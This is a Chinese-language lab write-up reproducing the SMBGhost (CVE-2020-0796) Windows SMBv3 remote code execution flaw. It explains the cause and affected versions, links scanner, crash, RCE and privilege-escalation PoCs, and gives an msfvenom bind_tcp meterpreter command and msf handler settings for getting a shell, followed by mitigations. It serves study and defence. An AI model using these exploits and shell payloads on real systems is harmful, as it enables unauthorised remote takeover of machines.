漏洞描述:
SMB遠程代碼執行漏洞
SMB 3.1.1協議中處理壓縮消息時,對其中數據沒有經過安全檢查,直接使用會引發內存破壞漏洞,可能被攻擊者利用遠程執行任意代碼。攻擊者利用該漏洞無須權限即可實現遠程代碼執行,受黑客攻擊的目標系統只需開機在線即可能被入侵。
漏洞原理:
Microsoft服務器消息塊(SMB)協議是Microsoft Windows中使用的一項Microsoft網絡文件共享協議。在大部分windows系統中都是默認開啟的,用於在計算機間共享文件、打印機等。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源於SMBv3沒有正確處理壓縮的數據包,在解壓數據包的時候使用客戶端傳過來的長度進行解壓時,並沒有檢查長度是否合法,最終導致整數溢出。
利用該漏洞,黑客可直接遠程攻擊SMB服務端遠程執行任意惡意代碼,亦可通過構建惡意SMB服務端誘導客戶端連接從而大規模攻擊客戶端。
影響范圍:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
復現:
一、環境准備
目標機:windows10 1903 x64 ip:192.168.142.129 (關閉防火牆)
攻擊機:kali ip:192.168.142.128
windows10 1903 x64迅雷下載:https://sl-m-ssl.xunlei.com/h5/page/download-share/index.html?entry=link&appType=PC&videobtindex=-1&storid=c39vhtrekug5&share_from=dlpage_share_link
二、漏洞檢測
工具下載:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
三、漏洞攻擊-藍屏
POC下載:https://github.com/eerykitty/CVE-2020-0796-PoC
利用POC發起攻擊
win10 1903馬上就藍屏了
四、漏洞利用-getshell
腳本下載:https://github.com/chompie1337/SMBGhost_RCE_PoC
1、生成正向連接木馬
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -b '\x00' -i 1 -f python
用生成的shellcode將exploit.py中的這一部分替換掉(buf后的字符串,保留USER_PAYLOAD不變)
* * *
Meterpreter的使用
bind_tcp
path : payload/windows/meterpreter/bind_tcp
正向連接shell,因為在內網跨網段時無法連接到attack的機器,所以在內網中經常會使用,不需要設置LHOST
reverse_tcp
path : payload/windows/meterpreter/reverse_tcp
反向連接shell,使用起來很穩定。需要設置LHOST
reverse_http/https
path:payload/windows/meterpreter/reverse_http/https
通過http/https的方式反向連接,在網速慢的情況下不穩定,https如果反彈沒有收到數據,可以將監聽端口換成443試試
2、開啟msf監聽
use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set lport 8888 //監聽端口 set rhost 192.168.142.129 //目標主機 run
4、運行exploit.py腳本,反彈shell
按道理來說,這里應該是反彈了一個shell的,可是!!!一直報錯,參考原文是要將win10的內存調整到4個G以上,我也調了的,還是不行,只有后面再看看了,有知道的師傅指點指點(抱拳.jpg)
五、漏洞利用-本地提權
下載地址:https://github.com/danigargu/CVE-2020-0796/releases
如果提示找不到dll文件,那么在win10上安裝個vc運行庫就好了
六、漏洞加固
1、更新補丁
2、微軟給出了臨時的應對辦法:
運行regedit.exe,打開注冊表編輯器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一個名為DisableCompression的DWORD,值為1,禁止SMB的壓縮功能。
3、將SMB445通信端口進行封禁
參考:
https://blog.csdn.net/weixin_44677409/article/details/106568350?fps=1&locationNum=2
https://mp.weixin.qq.com/s/SkjMVhFPSf8QsPe23cWjxQ
https://blog.csdn.net/RatOnSea/article/details/106399450